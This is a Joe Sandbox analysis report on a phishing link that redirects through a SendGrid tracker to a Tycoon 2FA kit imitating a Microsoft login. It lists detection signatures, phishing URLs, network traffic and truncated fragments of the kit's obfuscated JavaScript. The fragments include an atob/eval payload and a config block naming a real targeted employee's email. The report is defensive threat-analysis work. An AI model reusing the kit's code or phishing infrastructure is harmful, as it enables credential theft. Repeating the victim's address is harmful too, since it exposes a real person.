Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhGNZUddqwhjRz7Y3aH-2F1iEXujVcSjMM7CY7q30axNIjPtSPwVANtpwkARse71YbTG6hv5YyKcZ3EG9czO3tuqWXIHvFV-2FdtzTRYY9DFBEvbC0MnWDkjPffSjdhbZvMXBG-2Fbl-2F1JQalpy10ZBTpuDmJw8qtDG1RR-2FO-2Bzqy6Ryg-2BIXW6P-2FRmEE7JdIRaCncCouVLTVsWciZPEjkoHD

Overview

General Information

Sample URL:https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhGNZUddqwhjRz7Y3aH-2F1iEXujVcSjMM7CY7q30axNIjPtSPwVANtpwkARse71YbTG6hv5YyKcZ3EG9czO3tuqWXIHvFV-2FdtzTRYY9DFBEvbC0MnWDkjPffSj
Analysis ID:1640786
Infos:

Detection

HTMLPhisher, Invisible JS, Tycoon2FA
Score:100
Range:0 - 100
Confidence:100%

Signatures

AI detected phishing page
Antivirus detection for URL or domain
Yara detected AntiDebug via timestamp check
Yara detected HtmlPhish10
Yara detected Invisible JS
Yara detected Obfuscation Via HangulCharacter
Yara detected Tycoon 2FA PaaS
AI detected suspicious Javascript
Creates files inside the system directory
Deletes files inside the Windows folder
Detected non-DNS traffic on DNS port
Detected suspicious crossdomain redirect
HTML body contains low number of good links
HTML body contains password input but no form action
HTML page contains hidden javascript code
HTML title does not match URL
Invalid T&C link found
Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

  • System is w10x64_ra
  • chrome.exe (PID: 6888 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)
    • chrome.exe (PID: 7116 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1772,i,1458038216598230931,9062299562271479782,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2212 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)
  • chrome.exe (PID: 3788 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhGNZUddqwhjRz7Y3aH-2F1iEXujVcSjMM7CY7q30axNIjPtSPwVANtpwkARse71YbTG6hv5YyKcZ3EG9czO3tuqWXIHvFV-2FdtzTRYY9DFBEvbC0MnWDkjPffSjdhbZvMXBG-2Fbl-2F1JQalpy10ZBTpuDmJw8qtDG1RR-2FO-2Bzqy6Ryg-2BIXW6P-2FRmEE7JdIRaCncCouVLTVsWciZPEjkoHD7BDf7qzUctKE-2Fuov9RtCNiCQmJmwXCDa5dDgefQoLRKRDmR4vQ-3D-3DKnfO_4-2BCeSnTfNElQaOz0iIYXcY63TczAP34ghOtoTraLSwoOLAyQYuLOf75Ty99J50dacfCtsIK1GZvxQM45z1qBFZ9wseL0KuFhELugADtC7G-2Bvzzdi1qvZkAsCG7tQfhZagkro3woJV3MTqoQy1rs8sT0Ut5uYpsrniDcVKn6MJEnCWRsblRYyJRkv-2BYtQV-2BKUm1WYOzDqDkYxny3kQFWCbISNT8xpoE2o-2BIn1-2FK5Ue8M-3D" MD5: E81F54E6C1129887AEA47E7D092680BF)
  • cleanup

Yara Signatures

Dropped Files

SourceRuleDescriptionAuthorStrings
dropped/chromecache_84JoeSecurity_HangulCharacterYara detected Obfuscation Via HangulCharacterJoe Security

    HTML

    SourceRuleDescriptionAuthorStrings
    2.2.d.script.csvJoeSecurity_Tycoon2FA_1Yara detected Tycoon 2FA PaaSJoe Security
      2.2.d.script.csvJoeSecurity_AntiDebugBrowserYara detected AntiDebug via timestamp checkJoe Security
        2.3.d.script.csvJoeSecurity_HangulCharacterYara detected Obfuscation Via HangulCharacterJoe Security
          2.3.d.script.csvJoeSecurity_InvisibleJSYara detected Invisible JSJoe Security
            2.8..script.csvJoeSecurity_Tycoon2FA_1Yara detected Tycoon 2FA PaaSJoe Security
              Click to see the 19 entries

              Sigma Signatures

              ⊘No Sigma rule has matched

              Suricata Signatures

              ⊘No Suricata rule has matched

              Joe Sandbox Signatures

              Click to jump to signature section

              Show All Signature Results

              AV Detection

              barindex
              Antivirus detection for URL or domain
              Source: https://rft.naturdon.com/iVYo/Avira URL Cloud: Label: phishing
              Source: https://rft.naturdon.com/xyosxLBk4yon8qRTsmel9wgW7a2Lt2JU1ZXRfwAvira URL Cloud: Label: phishing
              Source: https://rft.naturdon.com/taKIYA02gqszDpuhNW5gHAUNgMqoAvira URL Cloud: Label: phishing
              Source: https://rft.naturdon.com/bcq9PU8gOPhcXwMY3MInh6fvEUmeuYy6piCOF8yFeQiPDLM9K1gBC8tqCxo1E3M7mo5dhDusdL8AxbH85jh54EklZYN7HwkIQvYMfgnz2npRrtDzVuxT18G34BaLy44aLJOl45wa5Pcd670Avira URL Cloud: Label: phishing
              Source: https://rft.naturdon.com/wx1lfn8lc0EFfs4mS49GKwWjftrdGRsTZrs301Ar5RcEFM7ud9hEuB5NWcqnRab176Avira URL Cloud: Label: phishing
              Source: https://rft.naturdon.com/klfKSUW4h4SIph0P6yrnQG1Nt2rzThqQo2ba6oKozc4I6AiIoptSSBRYnqI0B77dZSxazhbtWBRab221Avira URL Cloud: Label: phishing
              Source: https://rft.naturdon.com/GDSherpa-bold.woffAvira URL Cloud: Label: phishing
              Source: https://rft.naturdon.com/uvCrkdS4sVQLblK9iUyXZWTOZI5Dc45gWlMwUwXcVQ5HVhV0E2h4h3gJx71q60gh260Avira URL Cloud: Label: phishing
              Source: https://rft.naturdon.com/GDSherpa-regular.woff2Avira URL Cloud: Label: phishing
              Source: https://rft.naturdon.com/xymUqoRpqdeAef30Avira URL Cloud: Label: phishing
              Source: https://rft.naturdon.com/opkmv1QBWy5HuyxZJI5Cg5CDMC4Bj2jXZcl7dzghirqCw8Vp0H6SYkfkWBBVpcX2ef196Avira URL Cloud: Label: phishing
              Source: https://rft.naturdon.com/5689EGsgt7WhYocxyMxT56718Avira URL Cloud: Label: phishing
              Source: https://rft.naturdon.com/favicon.icoAvira URL Cloud: Label: phishing
              Source: https://rft.naturdon.com/GDSherpa-vf2.woff2Avira URL Cloud: Label: phishing
              Source: https://rft.naturdon.com/GDSherpa-bold.woff2Avira URL Cloud: Label: phishing
              Source: https://rft.naturdon.com/opVP3rfXGJ5bZgUzKMghOMzgDiUi9yP8TMZ0NrYAZL67140Avira URL Cloud: Label: phishing
              Source: https://rft.naturdon.com/klw0MWVCCCfjzbu3qhSfOHiFVdyzK5NKZ1JyeafAXi3Uv56163Avira URL Cloud: Label: phishing
              Source: https://rft.naturdon.com/ghSXEQ1jgBW3V9P7wMkvy4klITPIyt6UpoJRIqdxbMFS12207Avira URL Cloud: Label: phishing
              Source: https://rft.naturdon.com/GDSherpa-regular.woffAvira URL Cloud: Label: phishing
              Source: https://rft.naturdon.com/ijHRyxlFrBBK9WsNrsle305J2IEt3f5AIzhQ0XYDQgR9ASa0bhpUWTy1Qpq6NE0TfiRkANAoHaO0ImUi9ROZv0PuACwKjFkEZ7S1UiHoFoVwNvx0ho34zw6o9H8YMwGDT3a8V9Tyz660Avira URL Cloud: Label: phishing
              Source: https://rft.naturdon.com/wxos0x516c9i2j2vcqm7bsDy0fwzHbSopUF4ljm9RfToW7LRFjix12130Avira URL Cloud: Label: phishing
              Source: https://rft.naturdon.com/mnNnvbueihu6r9rho0oBMMCuvwTXQG8kyViZolZYXb7n90148Avira URL Cloud: Label: phishing
              Source: https://rft.naturdon.com/op75mQqx1n2Dk3yrHQCNx1pqg7GvFntHLN6ll12AfFPJ5mvcT8IqHATcRSjK27Gmk5jeRX4bkoQvcd237Avira URL Cloud: Label: phishing
              Source: https://rft.naturdon.com/GDSherpa-vf.woff2Avira URL Cloud: Label: phishing

              Phishing

              barindex
              AI detected phishing page
              Source: https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDJoe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL 'rft.naturdon.com' does not match the legitimate domain for Microsoft., The domain 'naturdon.com' does not have any known association with Microsoft., The presence of a password input field on a non-Microsoft domain is suspicious., The URL structure suggests a potential phishing attempt as it does not align with Microsoft's typical domain structure. DOM: 3.5.pages.csv
              Source: https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDJoe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown' due to its global recognition and presence., The URL 'rft.naturdon.com' does not match the legitimate domain 'microsoft.com'., The domain 'naturdon.com' is not associated with Microsoft, which raises suspicion., The presence of a subdomain 'rft' and the unrelated primary domain 'naturdon.com' suggest potential phishing., The email domain 'texanacenter.com' does not align with Microsoft, adding to the suspicion. DOM: 3.4.pages.csv
              Yara detected HtmlPhish10
              Source: Yara matchFile source: 3.4.pages.csv, type: HTML
              Source: Yara matchFile source: 3.5.pages.csv, type: HTML
              Yara detected Invisible JS
              Source: Yara matchFile source: 2.3.d.script.csv, type: HTML
              Source: Yara matchFile source: 2.2.pages.csv, type: HTML
              Source: Yara matchFile source: 2.1.pages.csv, type: HTML
              Yara detected Obfuscation Via HangulCharacter
              Source: Yara matchFile source: 2.3.d.script.csv, type: HTML
              Source: Yara matchFile source: 2.2.pages.csv, type: HTML
              Source: Yara matchFile source: 2.1.pages.csv, type: HTML
              Source: Yara matchFile source: 3.21..script.csv, type: HTML
              Source: Yara matchFile source: dropped/chromecache_84, type: DROPPED
              Yara detected Tycoon 2FA PaaS
              Source: Yara matchFile source: 3.18.d.script.csv, type: HTML
              Source: Yara matchFile source: 2.2.d.script.csv, type: HTML
              Source: Yara matchFile source: 2.8..script.csv, type: HTML
              Source: Yara matchFile source: 3.13..script.csv, type: HTML
              Source: Yara matchFile source: 2.11.d.script.csv, type: HTML
              Source: Yara matchFile source: 2.2.pages.csv, type: HTML
              Source: Yara matchFile source: 2.1.pages.csv, type: HTML
              Source: Yara matchFile source: 3.14..script.csv, type: HTML
              Source: Yara matchFile source: 3.4.pages.csv, type: HTML
              Source: Yara matchFile source: 3.5.pages.csv, type: HTML
              AI detected suspicious Javascript
              Source: 2.2.d.script.csvJoe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates several high-risk behaviors, including detecting the presence of web automation tools, disabling common keyboard shortcuts, and redirecting the user to an external website. The combination of these behaviors suggests a highly suspicious and potentially malicious script.
              Source: 2.4..script.csvJoe Sandbox AI: Detected suspicious JavaScript with source url: https://rft.naturdon.com/iVYo/... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `atob()` to decode base64-encoded strings, followed by `eval()` to execute the decoded content, poses a significant security risk. Additionally, the script appears to be sending user data to an untrusted domain, which is a clear indicator of potential malicious intent. Overall, this script exhibits a high level of suspicion and should be treated as a potential security threat.
              Source: 2.3.d.script.csvJoe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates several high-risk behaviors, including dynamic code execution via `eval()`, potential data exfiltration, and the use of obfuscated code. The combination of these factors indicates a high likelihood of malicious intent, warranting a maximum risk score of 10.
              Source: https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDHTTP Parser: Number of links: 0
              Source: https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDHTTP Parser: <input type="password" .../> found but no <form action="...
              Source: https://rft.naturdon.com/iVYo/#Dbrian.gurbach@texanacenter.comHTTP Parser: Base64 decoded: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>AI UI Template</title> <style> body { font-family: 'Segoe UI', Tahoma, Geneva,...
              Source: https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDHTTP Parser: Title: Sign In To Secure Login Portal does not match URL
              Source: https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDHTTP Parser: Invalid link: Terms of use
              Source: https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDHTTP Parser: Invalid link: Privacy & cookies
              Source: https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDHTTP Parser: Invalid link: Terms of use
              Source: https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDHTTP Parser: Invalid link: Privacy & cookies
              Source: https://rft.naturdon.com/iVYo/HTTP Parser: function fbwuttvhnd(){dwbsvetshq = atob("pcfet0nuwvbfigh0bww+cjxodg1sigxhbmc9imvuij4kpghlywq+ciagica8bwv0ysbjagfyc2v0psjvveytoci+ciagica8bwv0ysbuyw1lpsj2awv3cg9ydcigy29udgvudd0id2lkdgg9zgv2awnllxdpzhrolcbpbml0awfslxnjywxlpteumci+ciagica8dgl0bgu+t2zmawnlidm2nsbeb2n1bwvudgf0aw9upc90axrszt4kicagidxzdhlszt4kicagicagicbib2r5ihskicagicagicagicagzm9udc1myw1pbhk6iefyawfslcbzyw5zlxnlcmlmowogicagicagicagicbsaw5llwhlawdoddogms42owogicagicagicagicbtyxjnaw46idiwchg7ciagicagicagfqogicagicagiggxlcbomib7ciagicagicagicagignvbg9yoiajmky1ndk2owogicagicagih0kicagicagicb1bcb7ciagicagicagicagigxpc3qtc3r5bgutdhlwztogc3f1yxjlowogicagicagih0kicagicagicbhihskicagicagicagicagy29sb3i6icmwmdc4rdq7ciagicagicagicagihrlehqtzgvjb3jhdglvbjogbm9uztskicagicagicb9ciagicagicagytpob3zlcib7ciagicagicagicagihrlehqtzgvjb3jhdglvbjogdw5kzxjsaw5lowogicagicagih0kicagidwvc3r5bgu+cjwvagvhzd4kpgjvzhk+ciagica8ade+r2v0dgluzybtdgfydgvkihdpdgggt2zmawnlidm2ntwvade+ciagica8cd5pzmzpy2ugmzy1iglzigegy2xvdwqtymfzzwqgc3vpdgugb2ygchjvzhvjdgl2axr5ihrvb2xzigrlc2lnbmvki...
              Source: anonymous functionHTTP Parser: var otherweburl = "";var websitenames = ["godaddy", "okta"];var bes = ["apple.com","netflix.com"];var pes = ["https:\/\/t.me\/","https:\/\/t.com\/","t.me\/","https:\/\/t.me.com\/","t.me.com\/","t.me@","https:\/\/t.me@","https:\/\/t.me","https:\/\/t.com","t.me","https:\/\/t.me.com","t.me.com","t.me\/@","https:\/\/t.me\/@","https:\/\/t.me@\/","t.me@\/","https:\/\/www.telegram.me\/","https:\/\/www.telegram.me"];var capnum = 1;var appnum = 1;var pvn = 0;var view = "";var pagelinkval = "eqtms";var emailcheck = "brian.gurbach@texanacenter.com";var webname = "rtrim(/web8/, '/')";var urlo = "/hdr3rvncuatvmavzxckzxpgqftih5ijfa9u4o1ckfgtzvvmtv8lzelvb1esgcgz";var gdf = "/ij3n4vvoqzszlg03ijjfptyzinfi64imccd120";var odf = "/ghsvcqsqpjkujjymehwxrbghuexsay6gxcd648";var twa = 0;var currentreq = null;var requestsent = false;var pagedata = "";var redirecturl = "";var useragent = navigator.useragent;var browsername;var userip;var usercountry;var errorcodeexecuted = false;if(user...
              Source: https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDHTTP Parser: <input type="password" .../> found
              Source: https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDHTTP Parser: No favicon
              Source: https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDHTTP Parser: No favicon
              Source: https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDHTTP Parser: No <meta name="author".. found
              Source: https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDHTTP Parser: No <meta name="author".. found
              Source: https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDHTTP Parser: No <meta name="copyright".. found
              Source: https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDHTTP Parser: No <meta name="copyright".. found
              Source: unknownHTTPS traffic detected: 167.89.123.53:443 -> 192.168.2.16:49699 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 167.89.123.53:443 -> 192.168.2.16:49700 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 167.89.123.53:443 -> 192.168.2.16:49701 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 54.88.141.1:443 -> 192.168.2.16:49705 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 186.209.113.142:443 -> 192.168.2.16:49707 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 172.217.18.4:443 -> 192.168.2.16:49715 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.20.250:443 -> 192.168.2.16:49718 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.20.250:443 -> 192.168.2.16:49717 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49720 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 151.101.194.137:443 -> 192.168.2.16:49722 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.16:49724 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.16:49723 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.16.3.189:443 -> 192.168.2.16:49726 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.16:49728 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.70.67:443 -> 192.168.2.16:49736 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.20.250:443 -> 192.168.2.16:49737 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 172.67.220.176:443 -> 192.168.2.16:49738 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.20.250:443 -> 192.168.2.16:49744 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.16:49754 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 13.33.187.14:443 -> 192.168.2.16:49755 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 13.33.187.14:443 -> 192.168.2.16:49756 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.16:49760 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 13.33.187.96:443 -> 192.168.2.16:49787 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.16:49791 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.26.0.100:443 -> 192.168.2.16:49792 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.49.96:443 -> 192.168.2.16:49793 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.49.96:443 -> 192.168.2.16:49794 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49803 version: TLS 1.2
              Source: chrome.exeMemory has grown: Private usage: 0MB later: 40MB
              Source: global trafficTCP traffic: 192.168.2.16:49693 -> 1.1.1.1:53
              Source: global trafficTCP traffic: 192.168.2.16:49693 -> 1.1.1.1:53
              Source: global trafficTCP traffic: 192.168.2.16:49693 -> 1.1.1.1:53
              Source: global trafficTCP traffic: 192.168.2.16:49693 -> 1.1.1.1:53
              Source: global trafficTCP traffic: 192.168.2.16:49693 -> 1.1.1.1:53
              Source: global trafficTCP traffic: 192.168.2.16:49693 -> 1.1.1.1:53
              Source: global trafficTCP traffic: 192.168.2.16:49693 -> 1.1.1.1:53
              Source: global trafficTCP traffic: 192.168.2.16:49693 -> 1.1.1.1:53
              Source: global trafficTCP traffic: 192.168.2.16:49693 -> 1.1.1.1:53
              Source: global trafficTCP traffic: 192.168.2.16:49693 -> 1.1.1.1:53
              Source: global trafficTCP traffic: 192.168.2.16:49693 -> 1.1.1.1:53
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeHTTP traffic: Redirect from: u17065553.ct.sendgrid.net to https://cp.edison.tech/api/mailer/m/url?code=c06e5a047f4b46d286ff484bc2602c46&to=https://registrosaraquari.com.br/g63d/686989/texanacenter/?nl=ynjpyw4uz3vyymfjaeb0zxhhbmfjzw50zxiuy29t
              Source: unknownTCP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownTCP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownTCP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownTCP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownTCP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownTCP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownTCP traffic detected without corresponding DNS query: 142.250.185.131
              Source: unknownTCP traffic detected without corresponding DNS query: 142.250.185.131
              Source: unknownTCP traffic detected without corresponding DNS query: 142.250.185.131
              Source: unknownTCP traffic detected without corresponding DNS query: 142.250.185.131
              Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
              Source: unknownTCP traffic detected without corresponding DNS query: 142.250.185.131
              Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
              Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
              Source: unknownTCP traffic detected without corresponding DNS query: 2.23.227.208
              Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
              Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
              Source: unknownTCP traffic detected without corresponding DNS query: 52.182.143.211
              Source: unknownTCP traffic detected without corresponding DNS query: 52.182.143.211
              Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
              Source: unknownTCP traffic detected without corresponding DNS query: 52.182.143.211
              Source: unknownTCP traffic detected without corresponding DNS query: 52.182.143.211
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: global trafficHTTP traffic detected: GET /ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhGNZUddqwhjRz7Y3aH-2F1iEXujVcSjMM7CY7q30axNIjPtSPwVANtpwkARse71YbTG6hv5YyKcZ3EG9czO3tuqWXIHvFV-2FdtzTRYY9DFBEvbC0MnWDkjPffSjdhbZvMXBG-2Fbl-2F1JQalpy10ZBTpuDmJw8qtDG1RR-2FO-2Bzqy6Ryg-2BIXW6P-2FRmEE7JdIRaCncCouVLTVsWciZPEjkoHD7BDf7qzUctKE-2Fuov9RtCNiCQmJmwXCDa5dDgefQoLRKRDmR4vQ-3D-3DKnfO_4-2BCeSnTfNElQaOz0iIYXcY63TczAP34ghOtoTraLSwoOLAyQYuLOf75Ty99J50dacfCtsIK1GZvxQM45z1qBFZ9wseL0KuFhELugADtC7G-2Bvzzdi1qvZkAsCG7tQfhZagkro3woJV3MTqoQy1rs8sT0Ut5uYpsrniDcVKn6MJEnCWRsblRYyJRkv-2BYtQV-2BKUm1WYOzDqDkYxny3kQFWCbISNT8xpoE2o-2BIn1-2FK5Ue8M-3D HTTP/1.1Host: u17065553.ct.sendgrid.netConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /api/mailer/m/url?code=c06e5a047f4b46d286ff484bc2602c46&to=https://registrosaraquari.com.br/g63d/686989/Texanacenter/?nl=YnJpYW4uZ3VyYmFjaEB0ZXhhbmFjZW50ZXIuY29t HTTP/1.1Host: cp.edison.techConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /g63d/686989/Texanacenter/?nl=YnJpYW4uZ3VyYmFjaEB0ZXhhbmFjZW50ZXIuY29t HTTP/1.1Host: registrosaraquari.com.brConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
